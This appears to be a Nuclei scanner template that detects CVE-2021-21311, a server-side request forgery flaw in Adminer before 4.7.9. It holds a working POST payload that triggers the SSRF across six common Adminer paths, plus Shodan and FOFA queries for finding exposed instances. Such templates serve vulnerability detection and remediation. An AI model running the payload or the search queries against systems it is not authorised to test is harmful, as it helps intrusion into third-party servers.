id: CVE-2021-21311

info:
  name: Adminer <4.7.9 - Server-Side Request Forgery
  author: Adam Crosser,pwnhxl
  severity: high
  description: Adminer from version 4.0.0 through 4.7.8 is susceptible to server-side request forgery due to its use of verbose error messages. Users of Adminer versions bundling all drivers (e.g. `adminer.php`) are affected.
  reference:
    - https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6
    - https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
    - https://packagist.org/packages/vrana/adminer
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21311
  remediation: Upgrade to version 4.7.9 or later.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2021-21311
    cwe-id: CWE-918
  metadata:
    shodan-query: title:"Login - Adminer"
    hunter-query: app.name="Adminer"&&web.body="4.7.8"
    fofa-query: app="Adminer" && body="4.7.8"
  tags: cve,cve2021,adminer,ssrf

requests:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        auth[driver]=elastic&auth[server]=example.org&auth[username]={{to_lower(rand_base(8))}}&auth[password]={{to_lower(rand_base(8))}}&auth[db]={{to_lower(rand_base(8))}}

    redirects: true
    max-redirects: 1
    cookie-reuse: true
    attack: batteringram
    payloads:
      path:
        - "/index.php"
        - "/adminer.php"
        - "/adminer/adminer.php"
        - "/adminer/index.php"
        - "/_adminer.php"
        - "/_adminer/index.php"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "&lt;title&gt;400 - Bad Request&lt;/title&gt;"

      - type: status
        status:
          - 403